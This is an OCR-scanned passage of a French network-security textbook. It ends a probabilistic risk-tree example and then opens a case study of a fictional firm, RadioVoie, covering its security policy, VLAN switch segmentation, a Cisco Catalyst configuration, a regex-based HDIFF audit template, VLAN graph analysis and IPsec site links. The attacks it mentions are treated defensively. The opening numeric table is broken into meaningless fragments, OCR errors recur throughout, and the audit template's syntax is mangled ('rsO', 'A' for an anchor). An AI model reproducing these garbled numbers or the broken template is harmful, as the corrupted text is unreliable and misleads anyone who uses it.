bayes: 


2 3 1 2.981800e 


bayes 


card==0: 2 4 3 


bayes: 


2 4 1 4.151800e 


bayes 


card==0: 2 3 5 



-01 0.000000e+00 0.000000e+00 0.000000e+00 2.250000e 
-01 6.750000e-02 0.000000e+00 0.000000e+00 4.500000e 
-01 8.100000e-02 0.000000e+00 0.000000e+00 1.350000e 
-01 8.100000e-02 4.050000e-03 0.000000e+00 8.100000e 
340200e-01 8.100000e-02 6.480000e-03 0.000000e+00 8 
-01 8.100000e-02 1.053000e-02 0.000000e+00 8.100000e 
410400e-01 8.100000e-02 1.296000e-02 0.000000e+00 8 
-01 8.100000e-02 2.646000e-02 0.000000e+00 2.700000e 
644400e-01 8.100000e-02 3.456000e-02 0.000000e+00 2 
-01 8.100000e-02 4.806000e-02 0.000000e+00 2.700000e 
878400e-01 8.100000e-02 5.616000e-02 0.000000e+00 2 
-01 1.485000e-01 5.616000e-02 0.000000e+00 4.500000e 
-01 1.620000e-01 5.616000e-02 0.000000e+00 1.350000e 
-01 1.620000e-01 6.021000e-02 0.000000e+00 8.100000e 
218600e-01 1.620000e-01 6.264000e-02 0.000000e+00 8 
-01 1.620000e-01 6.669000e-02 0.000000e+00 8.100000e 
288800e-01 1.620000e-01 6.912000e-02 0.000000e+00 8 
-01 1.620000e-01 8.262000e-02 0.000000e+00 2.700000e 
522800e-01 1.620000e-01 9.072000e-02 0.000000e+00 2 
-01 1.620000e-01 1.042200e-01 0.000000e+00 2.700000e 
756800e-01 1.620000e-01 1.123200e-01 0.000000e+00 2 
-01 1.620000e-01 1.798200e-01 0.000000e+00 1.350000e 
926800e-01 1.620000e-01 2.203200e-01 0.000000e+00 1 
-01 1.620000e-01 2.878200e-01 0.000000e+00 1.350000e 
096800e-01 1.620000e-01 3.283200e-01 0.000000e+00 1 



-01 

-02 

-02 

-03 

100000e-03 

-03 

100000e-03 

-02 

700000e-02 

-02 

700000e-02 

-02 

-02 

-03 

100000e-03 

-03 

100000e-03 

-02 

700000e-02 

-02 

700000e-02 

-01 

350000e-01 

-01 

350000e-01 



distribution des probability (impacts): 5.096800e-01 1.620000e-01 



Outils maison de securite reseau 



447 



Chapitre 15 



3.283200e-01 1.000000e+00 
risque : 1.803600e+01 
elements parcourus : 2.500000e+01 
profondeur : 4 



Nous constatons que le nombre d' elements parcourus est nettement inferieur dans 
l'exemple 4 (9 elements parcourus) que dans l'exemple 5 (25 elements parcourus) pour 
un meme resultat. 

Precisons que le groupement de vulnerabilites pour un meme test doit faire l'objet d'un 
accord entre les experts de securite. 

Limites 

Le probleme de la construction de notre arbre probabiliste est lie, dans le pire des cas, au 
probleme d'enumeration des permutations d'un ensemble de N elements. N'oublions pas 
qu'il s'agit d'un probleme a la combinatoire explosive. D'autres limitations viennent du 
fait que nous ne considerons pas des analyses d' incertitude, de sensibilite, etc. Cette 
restriction est liee ici a la complexite intrinseque d'un reseau. 

Le facteur principal dans le controle de 1' explosion combinatoire est la definition des 
regies de propagation. En effet, si toutes les vulnerabilites peuvent engendrer toutes les 
vulnerabilites, le calcul devient impossible a realiser en pratique, car il demanderait un 
temps d' execution prohibitif. 

Rappelons tout de meme que l'objectif est de valider le comportement et la pertinence 
des mesures de securite realisees. 



En resume 



L'automatisation du controle des configurations d'equipements reseau est necessaire 
lorsque les configurations deviennent complexes ou qu'elles concernent un grand 
nombre d'equipements. 

Nous avons montre dans ce chapitre qu'un effort raisonnable de developpement permet- 
tait d'obtenir un retour sur investissement signiflcatif. Le developpement de petits outils 
ad hoc est rapide et peu couteux en comparaison de 1' investissement dans de gros outils 
commerciaux souvent dispendieux. Nous avons de surcroit la liberte complete de nos 
choix fondamentaux et pouvons obtenir des resultats immediats. 

Nous ne pretendons pas pour autant que tous les outils commerciaux peuvent etre rempla- 
ces par des outils maison, mais plutot que les deux se completent harmonieusement. 

Les deux chapitres suivants decrivent revolution d'une entreprise, de ses besoins en tele- 
communications, des differentes solutions mises en oeuvre et des besoins en securite 
associes. Ces chapitres mettent en pratique de maniere concrete nos outils maison. 
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RadioVoie, du reseau initial 
au premier gros contrat 



Au travers de revolution d'une entreprise Active, RadioVoie, et de son reseau, sont illus- 
tres dans ce chapitre et le suivant a la fois les besoins de securite et les politiques corres- 
pondant a chaque etape du developpement de 1' entreprise. 

RadioVoie a developpe une technologie revolutionnaire permettant la transmission de la 
voix par ondes radio via un appareil de tres petite taille mais a tres longue portee, fonc- 
tionnant selon le principe du talkie- walkie. 

Grace au demarchage de son fondateur, cette societe a decroche un premier contrat visant 
a equiper de ses appareils le personnel urbain de la ville de Paris afln que celui-ci puisse 
etre en contact permanent avec le centre de controle. RadioVoie a brevete sa technologie 
revolutionnaire pour tous les pays. La fabrication de la solution est sous-traitee a une 
societe de montage liee par une clause de confidentialite. 

Pour des raisons financieres, RadioVoie sous-traite la production de ses equipements a 
une tierce partie. 

Cette etude de cas reprend de fa^on pratique les differentes etapes d'une bonne strategic 
de securite. Pour chaque evolution du reseau de RadioVoie, nous detaillons 1' analyse des 
besoins, la definition de la politique de securite, les solutions techniques et les controles 
de securite, les risques couverts et non couverts par la solution technique proposee, ainsi 
que l'etablissement d'un tableau de bord de securite. 
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Le premier reseau RadioVoie 

Composee initialement d'une seule personne, la societe RadioVoie embauche du person- 
nel et s'installe dans des locaux afln de faire face aux projets en cours. 

Les enjeux sont importants pour l'entreprise, qui doit s'assurer de disposer d'un reseau 
disponible et dont les acces sont proteges. Son premier systeme d' information doit 
supporter ses services internes (comptabilite, commercial, technique, secretariat), qui 
comptent une demi-douzaine de personnes. 

Besoins a satisfaire 

Les besoins a satisfaire sont les suivants : 

• Le reseau de donnees interne doit avoir un bon debit pour permettre le partage de 
ressources (serveurs de fichiers, imprimantes, etc.) de stations de travail heterogenes 
(Windows, Macintosh, Unix, etc.). 

• Cantonne au siege de l'entreprise situe a Paris, le reseau doit separer logiquement le 
departement recherche et developpement. 

• Les specifications techniques de la technologie revolutionnaire doivent etre protegees. 

Etude de risques 

Comme il s'agit d'un reseau interne, sans ouverture vers d'autres reseaux externes, les 
risques ou attaques de securite sont limites a des menaces internes. Ces dernieres sont 
rapidement detectables puisque le personnel est en nombre limite. La menace interne ne 
doit toutefois pas etre sous-estimee, car c'est un risque recurrent et potentiellement 
considerable pour toute entreprise. 

La disponibilite du reseau n'est pas non plus vitale pour l'entreprise, qui peut intervenir 
directement sur les systemes en cas de probleme. 

Par contre, la confidentialite des donnees relatives aux brevets et projets est essentielle, 
de meme que les acces aux ressources avec des droits d' acces limites. La sauvegarde de 
ses donnees est non moins vitale pour l'entreprise. 

Politique de securite reseau 

D'apres les besoins a satisfaire et l'etude de risques, la politique de securite reseau mini- 
male de RadioVoie est constitute des regies suivantes : 

• « Les acces aux equipements reseau de V entreprise sont limites aux administrateurs 
reseau. » 

• « Le reseau est subdivise en deux reseaux logiquement distincts. » 

• « Les donnees confidentielles de V entreprise sont chiffrees avant d'etre emises sur le 
reseau interne de I 'entreprise. Aucune donnee confidentielle n 'est emise en dehors de 
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ce reseau interne. Par donnees confidentielles, il convient d' entendre non les donnees 
bureautiques de Ventreprise, mais les specifications techniques concernant les brevets 
ainsi que celles des appareils en cours de production (plans, schemas, etc.). » 

• « Aucun reseau sansfil (Wi-Fi, etc.) n'est autorise au sein de Ventreprise. » 

Solution de securite 

Pour satisfaire ces besoins, RadioVoie construit un reseau Ethernet point a point 
100BaseT a 100 Mbit/s. Le reseau est centralise dans une armoire de brassage et est 
controle par un commutateur disposant de la capacite de creer des reseaux virtuels 
(Virtual LAN). 

Les differents reseaux locaux (bureautique, recherche et developpement) sont raccordes 
au commutateur, comme illustre a la figure 16.1. 



Figure 16.1 

Le premier reseau de 
RadioVoie 




Ethernet 

LAN R&D 




Ethernet 

LAN bureautique 



^r^ 



Commutateur 





Ethernet 

LAN bureautique 



La possibilite de creer des reseaux virtuels (configuration de VLAN) au niveau du 
commutateur permet au reseau local bureautique d'etre separe logiquement du reseau 
local recherche et developpement, comme l'illustre la figure 16.2. 



Figure 16.2 

Separation logique des 
VLAN 




Commutateur 




Afin de limiter les couts de chiffrement des donnees confidentielles circulant sur le 
reseau, RadioVoie adopte une solution applicative (par programme), qui chiffre les 
donnees avant ou pendant leur transmission. 
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Deux scenarios de chiffrement peuvent etre envisages : 

• La solution chiffre les donnees pendant leur transit. Le serveur et le client partagent un 
secret visant a garantir la confidentialite de 1' information. Sans ce secret, il n'est pas 
possible d'acceder a 1' information, ni a l'endroit ou elle est stockee. 

• La solution chiffre les donnees avant qu'elles transitent sur le reseau. L'endroit ou sont 
stockees les donnees peut dans ce cas etre accessible a des personnes non autorisees. 
La securite repose done entierement sur la qualite du secret et de 1'algorithme de chif- 
frement. 

Pour la seconde solution, une procedure de transit est necessaire : 

1. La donnee est en clair sur la machine de l'utilisateur. 

2. La donnee est chiffree efficacement avec un secret. 

3. La donnee est envoy ee sur le reseau. 

4. La donnee en clair est detruite localement (selon la securite physique de la machine). 

5. Le secret est communique de maniere confidentielle au recepteur de la donnee. 

6. Le recepteur de la donnee peut utiliser le processus inverse pour y acceder. 

Risques reseau couverts 

Si le commutateur n'est pas controlable a distance par l'administrateur reseau et qu'il est 
configure de maniere securisee, les risques d'attaque permettant d'acceder au commuta- 
teur tendent vers zero. Cependant, la mise en place de controles au niveau du commuta- 
teur necessite generalement la capacite de prise de controle a distance et peut engendrer 
un risque de securite pour le commutateur. 

Pour pallier ce risque, un nouveau reseau virtuel (VLAN) doit etre installe a l'endroit ou 
sont hebergees les plates-formes de controle. Dans ce cas, seule une attaque visant a 
casser le compartimentage des reseaux virtuels peut permettre d'acceder au VLAN de 
supervision. Ce risque peut etre reduit par la mise en place d'un controle d'acces au 
niveau MAC. 

Le commutateur renforce la disponibilite du reseau, meme s'il ne peut la garantir. II reste 
en effet toujours un risque d'inonder le reseau de broadcast ou qu'un programme forte- 
ment consommateur de bande passante cherche a se dupliquer rapidement, tels les vers 
SQL Hammer ou CodeRed. 

Par la commutation des paquets au niveau 2 du modele OSI, le reseau voit sa disponibi- 
lite, sa performance et sa confidentialite renforcees. Le commutateur n'envoie vers une 
machine que les paquets qui lui sont destines (normaux ou broadcast), limitant de ce fait 
le risque de saturation et d'ecoute du reseau. II elimine egalement le risque de refus de 
service par rupture du moyen de communication, a la difference des technologies en bus, 
par exemple. 
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II est frequent que de tels commutateurs offrent la fonctionnalite de n' accepter que les 
paquets reseau provenant d'une adresse MAC (Media Access Control) specifique. Une 
telle solution offre evidemment un controle plus fin des connexions. 

Enfin, une fonctionnalite NAC (Network Access Control) peut etre deployee sur le 
commutateur afin de controler en profondeur les systemes qui s'y connectent en empe- 
chant certaines machines de s'echanger des donnees, malgre qu'elles soient sur le meme 
VLAN. 

Risques reseau non couverts 

Une attaque directe sur le commutateur par un systeme interne afin de penetrer un reseau 
virtuel (VLAN) non autorise est possible. Ce type d' attaque s'appuie cependant sur le prin- 
cipe que l'attaquant envoie des paquets avec l'adresse MAC qu'il desire ecouter ou avec 
toutes les adresses MAC du VLAN auquel il desire acceder. La mise en place, au niveau du 
commutateur, de controles d'acces de niveau MAC fait tendre ce risque vers zero. 

II est aussi possible d'attaquer le commutateur par le protocole IEEE 802. lq si sa confi- 
guration n'est pas verrouillee. Pour reduire ce risque, les ports autorises a emettre/rece- 
voir du trafic 802. lq doivent etre identifies et n'etre relies a aucune machine ou prise 
reseau accessible des bureaux. Les fonctions de type « dynamic trunking » doivent bien 
sur etre egalement desactivees. 

Un refus de service est egalement possible sur le commutateur par 1' exploitation de 
faiblesses. A ce niveau, seul le constructeur peut resoudre le probleme, et aucune solution 
automatisee (au niveau des postes de travail) ne peut etre mise en place. 

Reste un risque de saturation d'un peripherique particulier du reseau (serveur de 
fichiers, etc.) ou de tout le reseau pour peu que l'attaquant dispose d'une bande passante 
totale (100 % du reseau) ou qu'il inonde le reseau de broadcast. Ce type d' attaque est 
toutefois facilement detectable, et le systeme responsable est rapidement retrouve, du fait 
du nombre limite d'equipements. 

Tableau de bord de securite 

Apres avoir defini la politique de securite ainsi que les solutions possibles associees, 
cette section detaille les principaux controles a mettre en place, fournit des elements de 
verification fondes sur les outils maison et decrit un exemple de tableau de bord de la 
securite reseau. 

Les controles de securite 

Le commutateur est 1' element critique du reseau. L'objectif du controle consiste done a 
verifier par une supervision que le commutateur est toujours actif mais aussi que les LAN 
virtuels sont toujours implementes. 
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Pour verifier que le commutateur est actif, une supervision a l'aide du protocole SNMP 
(Simple Network Management Protocol) permet de controler les informations offertes 
par la MIB (Management Information Base). 

Pour verifier que les LAN virtuels sont actifs, il sufflt de recuperer regulierement la 
configuration du commutateur et de l'analyser afin de s'assurer qu'elle implemente bien 
les VLAN desires par le biais du VLAN d' administration. La frequence de ce controle 
depend des moyens mis en oeuvre pour le satisfaire. S'il s'agit d'une operation manuelle, 
il ne faut pas esperer plus d'un controle par jour. Si le controle peut etre automatise, il 
devient possible d'effectuer plusieurs controles par jour. 

La figure 16.3 illustre la creation d'un VLAN dedie a la supervision du commutateur. Ce 
VLAN etant isole logiquement des autres VLAN, 1' administration a distance du commu- 
tateur devient acceptable. 



VLAN supervision 



Ethernet 




Superviseur 




Commutateur 



Figure 16.3 

Le VLAN d' administration du reseau de RadioVoie 



VLAN R&D 



Ethernet 



Ethernet 



Ethernet 



Ethernet 



VLAN bureautique 



Mise en oeuvre des outils maison 

Comme indique a propos des controles de securite, les configurations du ou des commu- 
tateurs doivent etre analysees afin de detecter toute mauvaise configuration avec le patron 
de securite. 

Les elements de configuration necessaires pour assurer un niveau de securite minimal 
sont donnes dans l'exemple de configuration d'un commutateur Catalyst de Cisco 
suivant : 

margot/16.1$ cat caxtl.txt 
# interface dediee au mode trunk 
interface Gigabit Ethernet 1/0/1 
no ip address 
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switchport trunk encapsulation dotlq 
switchport trunk native vlan 100 
switchport trunk allowed vlan 3,4,5 
switchport mode trunk 

switchport nonegotiate 

i 

• 

# interface dediee au mode vlan 

interface Gigabit Ethernet 1/0/3 
no ip address 
switchport mode access 
switchport access vlan 3 
switchport port-security 
switchport port-security maximum 1 
switchport port-security violation restrict 
switchport port-security aging time 10 
switchport port-security aging type inactivity 
switchport nonegotiate 



La justification des elements de configuration est fournie a la partie IV de l'ouvrage rela- 
tive a la configuration des equipements reseau. 

Pour analyser ces configurations, nous utilisons notre outil HDIFF, avec le patron de 
securite suivant : 

margot/16.1$ cat cat.tp 

# Template de verification de la configuration de commutateur CISCO 

{ 

# Eli mine les commentaires 



rs* 

rs+ 
{ 



: A [ ]*! 



: A interface[ ] 



fx 



: no ip address 



# Verification du mode access 

rs? : A switchport( mode)? access 

{ 

rs* : A switchport( mode)? access 
rs+ : A switchport port-security 



# N'accepte pas des elements trunk 
rsO : A switchport( mode)? trunk 



} 



# Verification du mode trunk 

rs? : A switchport( mode)? trunk 

{ 



rs' 



: A switchport( mode)? trunk 



# N'accepte pas des elements access 
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rsO 
rsO 



: A switchport( mode)? access 
: A switchport port-security 



fx 



: switchport nonegotiate 



# Refuse tout autre element dans le bloc interface 
rO : A .* 



# Accepte toutes les autres lignes 



. * 



} 

Si nous executons le programme HDIFF sur une configuration Catalyst (cat4.txt) qui ne 
respecte pas le patron de securite, nous obtenons les resultats suivants : 

margot/16.1$ hdiff -f cat.tp cat4.txt | vhdif f 

IN BLOCK cat4.txt 5: switchport trunk encapsulation dotlq 
PATTERN 26 'rcs=0<': A switchport( mode)? access 
DUPL ERR 8: switchport mode access 

IN BLOCK cat4.txt 13: switchport mode trunk 
PATTERN 26 'rcs=0<': A switchport( mode)? access 
DUPL ERR 14: switchport access vlan 3 

IN BLOCK cat4.txt 13: switchport mode trunk 
PATTERN 27 'rcs=0<': A switchport port-security 
DUPL ERR 15: switchport port-security 

IN BLOCK cat4.txt 13: switchport mode trunk 
PATTERN 27 'rcs=0<': A switchport port-security 
DUPL ERR 16: switchport port-security maximum 1 

IN BLOCK cat4.txt 13: switchport mode trunk 

PATTERN 27 'rcs=0<': A switchport port-security 

DUPL ERR 17: switchport port-security violation restrict 

IN BLOCK cat4.txt 13: switchport mode trunk 
PATTERN 27 'rcs=0<': A switchport port-security 
DUPL ERR 18: switchport port-security aging time 10 

IN BLOCK cat4.txt 13: switchport mode trunk 

PATTERN 27 'rcs=0<': A switchport port-security 

DUPL ERR 19: switchport port-security aging type inactivity 

Cet exemple illustre en premiere erreur qu'une interface definie en mode trunk (ligne 5 
de la configuration) contient une ligne de configuration de type access swi tchport mode 
access (ligne 26 du patron). 
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La deuxieme erreur illustre qu'une interface definie en mode trunk (ligne 13 de la confi- 
guration) contientune ligne de configuration de type access switch port access vlan 3 
(ligne 26 du patron). 

L'outil HDIFF permet ainsi de controler en profondeur les configurations des commuta- 
teurs et de fournir des donnees utiles pour l'etablissement d'un tableau de bord de securite. 

Analyse de perimetres 

S'il est important de controler les configurations des equipements reseau, il est primor- 
dial de valider les VLAN implementes dans les commutateurs. Pour y parvenir, nous 
utilisons notre outil GRAPH, ainsi qu'un script d'extraction, utilise pour determiner les 
noeuds et arcs de notre graphe VLAN. 

Notre graphe VLAN est un graphe non dirige, compose des elements suivants : 

• Noeuds. Nous definissons un nceud comme la composee du nom du routeur, du nom de 
l'interface et du nom du VLAN applique a l'interface (determine par la commande 
switchport access vlan x). Par exemple, catl-GigabitEthernetl/0/3-vlan3 
designe le noeud associe a la configuration catl, sur l'interface Gi gabi tEthernetl/0/3 
ou est applique le vl an3. 

• Arcs. Si deux noeuds sont dans un meme VLAN, il existe un arc bidirectionnel entre 
ces deux noeuds. 

Une fois les noeuds et les arcs extraits de la ou des configurations des commutateurs, nous 
fournissons ces donnees a l'outil GRAPH, qui calcule les composants connexes du 
graphe VLAN. Les noeuds contenus dans un composant connexe impliquent done qu'ils 
communiquent entre eux. 

Si nous appliquons cette methode sur 1' exemple suivant, constitue de deux configurations 
de Catalyst (catletcat2), nous obtenons les resultats suivants : 

margot/16.1$ ./vl ans_graph.sh 
<stdin>: 8 nodes, 18 edges, 5552 bytes 

# nodes = 8 

# edges = 18 

connected component (4 nodes): 

{ cat 1 -Gi gabi tEthernetl/O/3-vl an3 catl -Gi gabi tEthernetl/0/6-vlan3 

cat2-GigabitEthernetl/0/3-vlan3 cat2-GigabitEthernetl/0/6-vlan3 } 
connected component (3 nodes): 
{ cat 1-Gi gabi tEthernetl/O/4-vl an4 cat2-GigabitEthernetl/0/4-vlan4 

cat2-GigabitEthernetl/0/5-vlan4 } 
connected component (1 nodes): 
{ catl-GigabitEthernetl/0/5-vlan5 } 
[cedric@margot catalyst]$ 

Les resultats de l'outil GRAPH indiquent que les trois composants connexes suivants ont 
ete trouves, comme 1' illustre la figure 16.4 : 
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Composant 1 : les interfaces GigabitEthernetl/0/3 et GigabitEthernetl/0/6 du 
Catalyst catl et les interfaces GigabitEthernetl/0/3 et GigabitEthernetl/0/6 du 
Catalyst cat 2 peuvent communiquer par le biais du vl an 3. 

Composant 2 : l'interface GigabitEthernetl/0/4 du Catalyst catl et les interfaces 
GigabitEthernetl/0/4 et Gigabi tEthernetl/0/5 du Catalyst cat2 peuvent communi- 
quer par le biais du vl an 4. 

Composant 3 : l'interface Gigabi tEthernetl/0/5 du Catalyst catl est isolee. 



Figure 16.4 

Evolution du nombre total 
de faiblesses de securite 
detectees par niveau 
d' impact reseau 






Le controle de securite consiste a verifier si ces interfaces doivent faire partie du VLAN 
considere. En cas d'erreur, l'isolation du VLAN n'est plus assuree. 

Ce controle doit aussi etre pris en compte arm de fournir des donnees utiles pour 
l'etablissement d'un tableau de bord de securite. 

Exemple de tableau de bord de securite reseau 

Le tableau 16.1 recapitule les elements de 1' architecture reseau qui permettent d'etablir 
un tableau de bord de securite. 



Tableau 16.1 Exemples de donnees permettant de construire un tableau de bord 



Sous-reseau 

Intranet 



Recherche 



Administration 



Categorie 

Configuration 
Evenement reseau 

Balayage reseau 
Configuration 
Evenement reseau 

Balayage reseau 
Configuration 
Evenement reseau 

Balayage reseau 



Element 

Du commutateur (verification VLAN, configuration du patron de securite, etc.) 

Du commutateur (acces non autorises, acces autorises mais de sources 
imprevues, etc.) 

Sur le commutateur, le LAN et les systemes connectes 

Du commutateur (verification VLAN, configuration du patron de securite, etc.) 

Du commutateur (acces non autorises, acces autorises mais de sources 
imprevues, etc.) 

Sur le commutateur, le LAN et les systemes connectes 

Du commutateur (verification VLAN, configuration du patron de securite, etc.) 

Du commutateur (acces non autorises, acces autorises mais de sources 
imprevues, etc.) 

Sur le commutateur, le LAN et les systemes connectes 
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Le tableau de bord de securite peut etre constitue de nombreuses courbes suivant les 
domaines concernes. Par exemple, revolution dans le temps du nombre total de faibles- 
ses de securite (detectees par les controles interne et externe sur les commutateurs cons- 
tituant le reseau) par impact reseau donne une indication de la non-application de la poli- 
tique de securite reseau, comme l'illustre la figure 16.5. 



Figure 16.5 

Evolution du nombre total 
de faiblesses de securite 
detectees par niveau 
d' impact reseau 
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La pertinence de ces courbes necessite une revue permanente, a la fois des evolutions des 
configurations des equipements et de la politique de securite reseau. Ces courbes ne 
retranscrivent pas forcement un risque de securite mais donnent un indicateur de 1' appli- 
cation de la politique de securite reseau. 



Extension du reseau RadioVoie 

Suite a un fort accroissement de la demande lie au succes de son produit, desormais 
utilise par la Mairie de Paris mais aussi a Lille, Lyon, Bordeaux et Marseille, RadioVoie 
s'agrandit. 

Afin de ne pas trop subir le poids fiscal et les diverses contraintes imposees par la region 
parisienne (circulation, greves, etc.), l'entreprise decide de creer un nouveau site a 
Mouans-Sartoux, dans les Alpes-Maritimes. Ce nouveau site n'accueille dans un premier 
temps que du personnel administratif. 

Pour des raisons financieres, RadioVoie sous-traite la production de ses equipements a 
une tierce partie. 



Besoins a satisfaire 

L'entreprise souhaite interconnecter les deux sites pour echanger des informations. De 
plus, les commerciaux de RadioVoie doivent pouvoir se connecter a distance au reseau 
interne pour connaitre les dernieres informations afin de les transmettre a leurs clients. 
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Les informations echangees, tant au niveau de 1' interconnexion des sites que de 1' acces a 
distance par les commerciaux, ne necessitent pas une bande passante importante (infe- 
rieure a 512 Kbit/s) mais doivent etre considerees comme confidentielles. II n'est pas 
prevu que les commerciaux en acces a distance aient besoin d'utiliser 1' interconnexion 
entre les sites. 

Les couts de connexion reseau, de maintenance et de securite sont des elements decisifs 
de choix des solutions techniques. 



Etude de risques 

L' element critique de Radio Voie est le reseau dedie a la production des equipements radio, 
qui est le coeur de l'activite de l'entreprise. Connaissant les contraintes financieres, Radio- 
Voie demande a la tierce partie a qui elle sous-traite la production de repondre a de 
nouvelles exigences de securite physique et de confidentialite. De plus, RadioVoie planifie 
des audits afin de controler le niveau de securite du site de production de la tierce partie. 

Concernant les interconnexions des sites et des acces distants, une solution cles en main 
de securite doit etre mise en place. Comme les changements de configuration ne seront 
pas frequents, une solution incluant plusieurs fonctions de securite doit etre choisie. 

Les temps de reponse des interconnexions n'est pas une contrainte. La solution peut done 
s'appuyer sur un reseau IP de bout en bout. 

Politique de securite reseau 

D'apres les besoins a satisfaire et l'etude de risques, RadioVoie adopte une politique de 
securite reseau minimale, constitute des regies suivantes : 

• « L' interconnexion reseau entre les sites de l'entreprise est authentifiee et chiffree. » 

• « L' interconnexion reseau entre les sites de Ventreprise ne reste pas indisponible 
pendant plus de vingt-quatre heures ouvrees. » 

• « Les acces reseau a distance aux sites de Ventreprise sont authentifies, chiffres et 
limites aux commerciaux de Ventreprise. L 'authentication des acces distants est 
individuelle. » 

• « Les ordinateurs utilises pour les acces distants respectent les standards de Ventre- 
prise pour les machines nomades. Cela signifie au minimum que Vordinateur de Vutili- 
sateur distant est protege des virus et du reseau (Internet, etc.) et qu'il ne peut 
invalider ou modifier ces protections. » 

• « Tout vol ou probleme de securite declenche une procedure de modification de la 
protection des acces distants. » 

• « Un utilisateur distant connecte a Ventreprise ne peut permettre, consciemment ou 
non, a un tiers d'atteindre le reseau de Ventreprise. » 

• « Les flux reseau entre les sites de Ventreprise sontfiltres. » 
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• « Le reseau de production est physiquement et logiquement separe des autres reseaux 
de V entreprise. » 

De plus et de maniere plus specifique, la politique de securite reseau pour la relation avec 
le reseau Internet edicte les regies suivantes : 

« La relation avec Internet respecte les contraintes legales frangaises (droit du travail, 
hi de securite electronique, etc.). » 

« Les flux reseau en provenance d Internet sontfiltres et controles. » 

« Les flux entre V entreprise et Internet sont controles par une solution antivirus. » 

« Les flux entre V entreprise et Internet sont controles par une solution de lutte contre 
les attaques (applets hostiles, etc.). » 

« Aucunflux en provenance d' Internet n' est autorise a atteindre directement le reseau 
interne de V entreprise. » 

« Les machines qui sont en relation directe avec Internet sont securisees en perma- 
nence. Uetablissement d'un standard associe a des procedures et des controles assure 
le respect de cette regie. » 

« Toutes les machines sont equipees d'une solution antivirus. » 

« Les machines en relation avec Internet sont administrees depuis le reseau bureau- 
tique par V intermediate des flux chiffres. » 

« U entreprise n' est autorisee a utiliser sur Internet que les services de messagerie, de 
noms, de transfert defichiers et de consultation de donnees en clair ou chiffrees. » 

« Le courrier entrant est filtre pour eliminer les courriers non sollicites (Spam, 
Scam, etc.). » 

« Tous les flux en relation avec Internet sont notes, stockes et archives pendant une 
annee. » 

« U utilisation d Internet pour un usage non prof essionnel est toleree. » 

« II est possible de limiter Vetendue de la consultation des donnees afln deprevenir les 
deviances non professionnelles ou illegales (sites pornographiques, pedophiles, 
d'echange de logiciels pirates, etc.). » 

« Une procedure est creee afln de garantir la restauration du service au plus vite en 
cas de refus de service. » 

« Une procedure et un processus sont etablis pour la gestion des incidents de securite 
(infection par virus, attaque, etc.). » 



Solution de securite 

II s'agit de connecter les sites de Paris et de Mouans-Sartoux ainsi que les commerciaux 
au site de Mouans-Sartoux, comme l'illustre la figure 16.6. 
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Figure 16.6 

Interconnexion des sites 
de RadioVoie 




Commercial itinerant 



Les aspects financiers sont decisifs dans le choix technique final. En revanche, les 
besoins en bande passante entre les sites ne sont guere importants et ne necessitent pas la 
mise en oeuvre de solutions reseau complexes. 

Les flux reseau etant chiffres, il s'agit de definir un reseau prive virtuel, ou VPN (Virtual 
Private Network), entre les sites de l'entreprise. 

Les diverses offres de connexions reseau des operateurs de telecommunications reposent 
generalement sur des liaisons louees ou publiques. Bien que les liaisons louees 
(Numeris, etc.) offrent une fiabilite en terme de qualite de service, ou QoS (Quality of 
Service), et une securite elementaire, la rigidite et les couts financiers de ce type de 
connexion risquent d'etre redhibitoires. La tarification est en effet generalement etablie 
au prorata de la distance entre les sites et de la bande passante consommee. 

Un VPN passant par un reseau public comme Internet reclame un investissement securite 
plus important, car il necessite de proteger l'entreprise des risques associes au reseau 
public. Cette solution n'offre de surcroit aucune garantie de qualite de service du fait de 
1' utilisation du protocole IP sur un reseau sous le controle d'un nombre inconnu d'entre- 
prises. Malgre ses inconvenients, cette solution reste cependant plus evolutive et finan- 
cierement plus attractive. RadioVoie opte done pour un VPN au travers du reseau public 
Internet. 

Le delai maximal d'indisponibilite des interconnexions reseau est assez important (vingt- 
quatre heures ouvrees). II est done essentiel de ne pas mettre en oeuvre de liens reseau 
redondants entre les sites afin de limiter les couts. Un accord contractuel permet de prote- 
ger l'entreprise de ce risque d'indisponibilite du lien d' interconnexion et de ses conse- 
quences financieres. 

Pour garantir le lien de bout en bout, RadioVoie doit utiliser de part et d' autre le meme 
fournisseur de service. II peut etre egalement envisageable de disposer d'un acces Inter- 
net de type « particulier », avec une forte bande passante montante tel que peut l'offrir 
l'ADSL. 
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Solution securisee d'interconnexion entre les sites 



Le reseau Internet est constitue de nombreux reseaux, geres individuellement par les 
operateurs et fournisseurs de telecommunications. Chacun de ces reseaux est intercon- 
necte par le protocole IP a d'autres reseaux par des accords de peering, permettant de 
constituer la toile internationale, ou Web. 

Les accords de peering definissent les parametres d'interconnexion entre deux reseaux IP 
(type d'interconnexion, parametres de debit, echange des tables de routage, etc.), comme 
illustre a la figure 16.7. 



Figure 16.7 

Interconnexions entre 
operateurs Internet 



Accord de peering 




j Connexions des clients 



Connexions des clients 



Les routes d' Internet representent aujourd'hui de l'ordre de 120 000 entrees de prefixes 
dans les tables de routage des nceuds reseau. 

Dans sa version 4, le protocole IP (IPv4) n'implemente pas de fonction de securite. Les 
travaux entrepris sur la version 6 (IPv6) permettent d'aj outer une telle fonction par le 
biais d'IPsec. 

Le protocole IPsec permet d'etablir, par le biais d'une connexion Internet, un tunnel IP 
securise (mode tunnel) chiffre (mode ESP) et authentifie (mode AH) entre deux acteurs. 

Arm de prendre en compte la politique de securite, 1' interconnexion des sites de Radio- 
Voie s'appuie sur cette suite de securite IPsec pour chiffrer et authentifler les borders de 
chiffrement correspondant aux sites. 

L' authentication IPsec utilise des cles generees prealablement de maniere aleatoire. II 
serait dangereux de telecharger sur Internet des outils de generation de ce type de cles. 
En effet, pour la plupart, ces outils n' implemented pas un reel caractere aleatoire pour la 
generation des cles, mettant en peril la confidentialite des cles generees. 

La petite taille de l'entreprise permet d'instaurer la procedure suivante de transmission 
securisee des cles : 

1. Le fondateur de l'entreprise genere la cle. 

2. Le fondateur de l'entreprise installe la cle sur le boitier IPsec parisien. 

3. Le fondateur de l'entreprise installe la cle sur un media amovible. 
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4. Le fondateur de l'entreprise amene le media amovible sur le site de Mouans-Sartoux 
en s'assurant que ce media n'est accessible a personne d' autre. 

5. Le fondateur de l'entreprise installe la cle sur 1' autre boitier. 

6. Le fondateur de l'entreprise depose le media dans le coffre-fort d'une banque. 

Le fondateur de l'entreprise etant en meme temps son proprietaire, il n'est guere imagi- 
nable d' avoir un risque plus bas dans le respect de la confidentialite de la cle. 

Un filtrage des protocoles entrants et sortants est effectue par chaque site avant le passage 
des donnees dans le tunnel IPsec ou leur reception du tunnel IPsec, comme illustre a la 
figure 16.8. 



Filtrage des flux reseau 




Chiffrement des donnees 
dans un tunnel IPsec 



Figure 16.8 

